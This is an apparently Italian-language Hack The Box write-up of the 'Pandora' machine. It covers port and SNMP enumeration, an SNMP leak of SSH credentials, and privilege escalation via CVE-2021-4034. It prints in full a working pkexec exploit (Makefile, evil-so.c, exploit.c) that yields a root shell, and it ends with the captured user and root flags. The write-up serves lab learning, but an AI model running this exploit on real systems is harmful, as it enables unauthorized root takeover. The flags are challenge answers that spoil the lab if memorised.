HTB - Pandora

Andrea Pepe

22/04/2022

Contents

Enumeration

nmap

$ sudo nmap -sV -sC pandora

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 19:33 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.064s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/s
Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds
```

- $ searchsploit Apache 2.4.41

```
-------------------------------------------------------------------------------
 Exploit Title
```

```
---------------------------------------------------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal
Apache Tomcat < 5.5.17 - Remote Directory Listing
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass /
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass /
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution
---------------------------------------------------------------------------
Shellcodes: No Results
```

$ sudo nmap -p- pandora

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 19:34 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.090s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 22.58 seconds
```

Web Server

vhost

Accedendo ad `http://pandora`, saltano subito all'occhio due sentences che ci portano a pensare all'esistenza di virtual hosts:

```
PLAY is an extention of Panda.HTB, bringing network monitoring solutions to your doors

Working together with Panda.HTB we provide delivery, installation and usage on network
```

```
support@panda.htb
contact@panda.htb
```

gobuster

```
$ sudo gobuster vhost -u http://pandora -w /usr/share/wordlists/dirbuster/directory-li
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://pandora
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/04/22 19:49:50 Starting gobuster in VHOST enumeration mode
===============================================================
Found: '.pandora (Status: 400) [Size: 301]
Found: %20.pandora (Status: 400) [Size: 301]
Found: $FILE.pandora (Status: 400) [Size: 301]
Found: $file.pandora (Status: 400) [Size: 301]
Found: *checkout*.pandora (Status: 400) [Size: 301]
Found: *docroot*.pandora (Status: 400) [Size: 301]
Found: *.pandora (Status: 400) [Size: 301]
Found: $File.pandora (Status: 400) [Size: 301]
Found: !ut.pandora (Status: 400) [Size: 301]
Found: search!default.pandora (Status: 400) [Size: 301]
Found: msgReader$1.pandora (Status: 400) [Size: 301]
Found: 4%20Color%2099%20IT2.pandora (Status: 400) [Size: 301]
Found: %7Emike.pandora (Status: 400) [Size: 301]
Found: http%3A%2F%2Fwww.pandora (Status: 400) [Size: 301]
Found: guestsettings!default.pandora (Status: 400) [Size: 301]
Found: login!withRedirect.pandora (Status: 400) [Size: 301]
Found: $1.pandora (Status: 400) [Size: 301]
Found: front_page!PAGETYPE.pandora (Status: 400) [Size: 301]
Found: http%3A.pandora (Status: 400) [Size: 301]
Found: MSNBC%20Interactive.pandora (Status: 400) [Size: 301]
Found: Picture%201.pandora (Status: 400) [Size: 301]
```

```
Found: 3 Popular Music Videos.pandora (Status: 400) [Size: 301]
Found: Espa%c3%b1ol.pandora (Status: 400) [Size: 301]
Found: Fran%c3%a7ais.pandora (Status: 400) [Size: 301]
Found: Privacy%20Policy.pandora (Status: 400) [Size: 301]
Found: q%26a.pandora (Status: 400) [Size: 301]
Found: **http%3a.pandora (Status: 400) [Size: 301]
Found: MSNBC10%20section%20front%20headers.pandora (Status: 400) [Size: 301]
Found: searchProfile!input.pandora (Status: 400) [Size: 301]
Found: Who's-Connecting.pandora (Status: 400) [Size: 301]
Found: %7Ejeff.pandora (Status: 400) [Size: 301]
Found: *http%3A.pandora (Status: 400) [Size: 301]
```

panda.htb

Gobuster sembra non essere attendibile, ma proviamo a inserire a mano il virtual host `panda.htb` in `/etc/hosts` e ad effettuare una ricerca.

Il dominio presenta la stessa pagina web del precedente. Proviamo a farne una enumerazione di directory e vhosts.

- $ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u `http://panda.htb` -x html,txt

  ```
  ===============================================================
  Gobuster v3.1.0
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  ===============================================================
  [+] Url:                     http://panda.htb
  [+] Method:                  GET
  [+] Threads:                 10
  [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-mec
  [+] Negative Status codes:   404
  [+] User Agent:              gobuster/3.1.0
  [+] Extensions:              txt,html
  [+] Timeout:                 10s
  ===============================================================
  2022/04/22 20:04:25 Starting gobuster in directory enumeration mode
  ===============================================================
  /index.html           (Status: 200) [Size: 33560]
  /assets               (Status: 301) [Size: 307] [--> http://panda.htb/assets/]
  Progress: 95133 / 661683 (14.38%)
  ```

  Non sembra essere una strada promettente.

UDP port scanning

nmap

$ sudo nmap -sU pandora

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 20:13 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.068s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 1083.31 seconds
```

Notiamo che è aperta la porta `UDP/161` con il servizio `snmp`.

$ sudo nmap -sU -sV -p161 pandora

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 22:31 CEST
Nmap scan report for pandora (10.10.11.136)
Host is up (0.053s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)

Service detection performed. Please report any incorrect results at https://nmap.org/s
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
```

snmp

$ snmpwalk -v 1 -c public 10.10.11.136 > snmpwalk.txt

```
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (2008109) 5:34:41.09
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (5) 0:00:00.05
```

```
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1

...
```

Vediamo che c'è "Daniel", che è un buon candidato per essere uno username. Analizziamo più a fondo l'enorme output greppando per **daniel**.

$ grep -i daniel snmpwalk.txt

```
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.25.4.2.1.5.814 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check
iso.3.6.1.2.1.25.4.2.1.5.1117 = STRING: "-u daniel -p HotelBabylon23"
```

Super interessante sembra essere l'ultima riga di output, che sembra contenere una password: `daniel:HotelBabylon23`

Proviamo ad usarla per connetterci tramite **ssh**.

ssh

```
$ ssh daniel@pandora
daniel@pandora's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 22 Apr 22:12:14 UTC 2022

  System load:  0.02              Processes:             247
  Usage of /:   64.8% of 4.87GB   Users logged in:       0
  Memory usage: 17%               IPv4 address for eth0: 10.10.11.136
  Swap usage:   0%

  => /boot is using 91.8% of 219MB


0 updates can be applied immediately.
```

```
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Intern

Last login: Fri Apr 22 22:11:06 2022 from 10.10.16.41
daniel@pandora:~$
```

And YESSS!!! We're in!

Privilege Escalation

daniel

daniel@pandora:~$ sudo -l

```
[sudo] password for daniel:
Sorry, user daniel may not run sudo on pandora.
```

home/matt

Notiamo che daniel non ha il file `user.txt`, quindi deve esserci un altro utente.

```
daniel@pandora:~$ cd ..

daniel@pandora:/home$ ls -lha
total 16K
drwxr-xr-x  4 root   root   4.0K Dec  7 14:32 .
drwxr-xr-x 18 root   root   4.0K Dec  7 14:32 ..
drwxr-xr-x  5 daniel daniel 4.0K Apr 22 19:00 daniel
drwxr-xr-x  3 matt   matt   4.0K Apr 22 18:21 matt
```

mysql

Provando la password `HotelBabylon23` non si riesce ad accedere al db con nessuno dei due utenti

linpeas

Caricando **linpeas.sh** sulla macchina tramite **curl**, lo si esegue e il sistema risulta essere vulnerabile alla **CVE-2021-4034**. La vulnerabilità riguarda l'utility `pkexec` di `polkit`.

```
daniel@pandora:~$ ./linpeas.sh
```

```
/---------------------------------------------------------------------------\
|                             Do you like PEASS?                            |
|---------------------------------------------------------------------------|
|         Get latest LinPEAS  :     https://github.com/sponsors/carlospolop |
|         Follow on Twitter   :     @carlospolopm                           |
|         Respect on HTB      :     SirBroccoli                             |
|---------------------------------------------------------------------------|
```

```
    |                                 Thank you!                                 |
    \----------------------------------------------------------------------------/
          linpeas-ng by carlospolop

ADVISORY: This script should be used for authorized penetration testing and/or educati

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escala
 LEGEND:
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...


 Basic information

OS: Linux version 5.4.0-91-generic (buildd@lcy01-amd64-017) (gcc version 9.3.0 (Ubuntu
User & Groups: uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)
Hostname: pandora
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, lear
[+] /usr/bin/nc is available for network discover & port scanning (linpeas can discove
[+] nmap is available for network discover & port scanning, you should use it yourself


Caching directories . . . . . .


 System Information

 Operative system
 https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 5.4.0-91-generic (buildd@lcy01-amd64-017) (gcc version 9.3.0 (Ubuntu 9.3
Distributor ID: Ubuntu
Description: Ubuntu 20.04.3 LTS
Release: 20.04
```

```
Codename: focal

 Sudo version
 https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.31

 CVEs Check
Vulnerable to CVE-2021-4034

./linpeas.sh: 1192: [[: not found
./linpeas.sh: 1192: rpm: not found
./linpeas.sh: 1192: 0: not found
./linpeas.sh: 1202: [[: not found
```

Al seguente link è possibile trovare la seguente descrizione:

> A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

CVE-2021-4034

Al seguente link github è stato possibile trovare dei codici che exploitassero la vulnerabilità. Tuttavia, è stato più semplice sfruttare l'exploit trovato al seguente link su `exploit-db` `https://www.exploit-db.com/exploits/50689`.

Makefile

```
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit

clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
```

evil-so.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}
```

exploit.c

```
#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/g
```

```
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}
```

Sulla macchina `pandora` non erano presenti **make** e **gcc** quindi la compilazione è avvenuta in locale e i files compilati sono stati trasferiti sulla macchina target tramite `curl`, dopo aver runnato un server web in locale tramite python con il comando:

```
python3 -m http.server 4321
```

root

Eseguendo l'exploit, si è riusciti ad ottenere una shell da root:

```
daniel@pandora:~$ ./exploit
# whoami
root
```

In questo modo si è riusciti a leggere sia il flag dell'utente **matt** che di **root**.

User flag (matt)

7e328d9b93d565137e31e20fd9fce3ba

Root flag

a9b01cfbe3319261c595c841b3acece2